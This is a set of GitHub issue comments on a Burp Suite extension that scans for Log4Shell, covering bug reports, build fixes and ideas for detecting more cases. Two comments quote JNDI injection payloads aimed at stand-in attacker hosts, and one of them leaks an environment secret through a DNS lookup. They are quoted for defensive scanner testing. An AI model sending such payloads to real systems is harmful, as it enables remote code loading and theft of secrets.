silentsignal / burp-log4shell Goto Github PK

Hi,

Could you please confirm whether Log4Shell Scanner Burpsuite Pro Addon is capable to identify log4j vulnerabilities of CVE-2021-44832, CVE-2021-45105 & CVE-2021-45046.

Thanks
Saleem Choudary

This will require improved payloads:

https://twitter.com/marcioalm/status/1471740771581652995

Example from the twitter:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

I suggest this plugins can add some scan rules
For example:
I should it can use payload add on 'Accept' of 'Request'

Hi folks,

while the method you described to only scan for log4j is viable there is an easier way to do it in Burp, via adding a context menu option. It should go something like:

scanMenu = JMenuItem("Log4j scan")
scanMenu.addActionListener(startScan(self))

self.menu = JPopupMenu("Popup")
self.menu.add(scanMenu)

callbacks.registerContextMenuFactory(self)

where startScan is something like:

class sendRequestRepeater(ActionListener):
    def __init__(self, extender):
        self._extender = extender

    def actionPerformed(self, e):

  
            self._extender.doActiveScan(...);

        return 

I know this in Python but you get the idea; there are many extensions that hook into registerContextMenuFactory so you can just copy from there. Let me know if I can help, cheers :)

Fisher

Hello,

It's been a while since I've executed .jar files, I was under the impression that the command is java -jar, yet I get the following:

java -jar burp-log4shell.jar
no main manifest attribute, in burp-log4shell.jar

Environment:

java --version
openjdk 11.0.13 2021-10-19
OpenJDK Runtime Environment 18.9 (build 11.0.13+8)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.13+8, mixed mode)

Describe the bug
Even with LDAP to remote host being stopped by using a modern Java version, there are still more ways to exploit the CVE.
But (based on looking at the source) this scan only checks the LDAP exploit path.
So a clean sheet from this scan doesn't mean that you're not vulnerable.

Example of a non-LDAP attack:
${jndi:dns://attackers-dns-server.com/somedomain${env:SECRET_TO_LEAK_VIA_DNS_QUERY}}

or via Factory Gadget attacks

See Appendix B of https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

Sanity Check

• I'm not trying to blindly scan random hosts without any configuration and wait for free money from their bug bounty programs.

Hi! I think that the hard way can be simplified in this way:

1. on issue reported list, CTRL+A to select all the issues, right-click->enabled to disable everything
2. go at the very bottom and select only Extension generated issue
   That's it! Let me know if it is working for you:)

Using the docker image at https://github.com/christophetd/log4shell-vulnerable-app, this plug fails to detect any issues. I've tried the prebuilt jar, and even tried building myself. Same results.

Hi! I've just installed burp pro out of box and the only extension I have added is yours. Unfortunately I am not able to discover any trails of log4shell even I have identified few of such that should be reported based on release notes etc.. Are there any extra plugins/settings that should be enabled/installed to make it scan successfully? Also - should the scan be started from the "/" URL of the target ?
Thanks !

Hi,

To be able to build this I have to change the protobuf version in build.gradle to be:
classpath "gradle.plugin.com.google.protobuf:protobuf-gradle-plugin:0.8.18"

I wonder if it would make sense to generate a low confidence issue if the answer takes >29s to arrive (I've read that Java timeouts after 31s and Burp drops the conn at 30s IIRC), as this can indicate that someone is trying to resolve our JNDI host on the backend?

In my internal environment testing we've found some hosts/products that have been vulnerable to the Log4J vulnerability but where it would only fire if the URI path was NOT URL encoded. These hosts are not showing any vulnerable parameters when scanned using the plugin but will fire if I take the payload, un-encode it, and replay it in Repeater. When we check the logs generated, we found that it is logging the raw URI and this was causing the payload to not be interpreted by the vulnerable class. In these hosts, only the URI was vulnerable so the other non-encoded positions such as User-Agent were not being processed.

Thanks for putting this out, BTW!

ENV

Burp: v2021.12.1

docker run --name vulnerable-app --rm -p 8000:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Easy Scan

0 Request was sent.

Scan from intruder

2 identical requests were sent. Neither has the payloads.

Hi,

Any reason why the Log4Shell scanner is removed from the bApps extensions?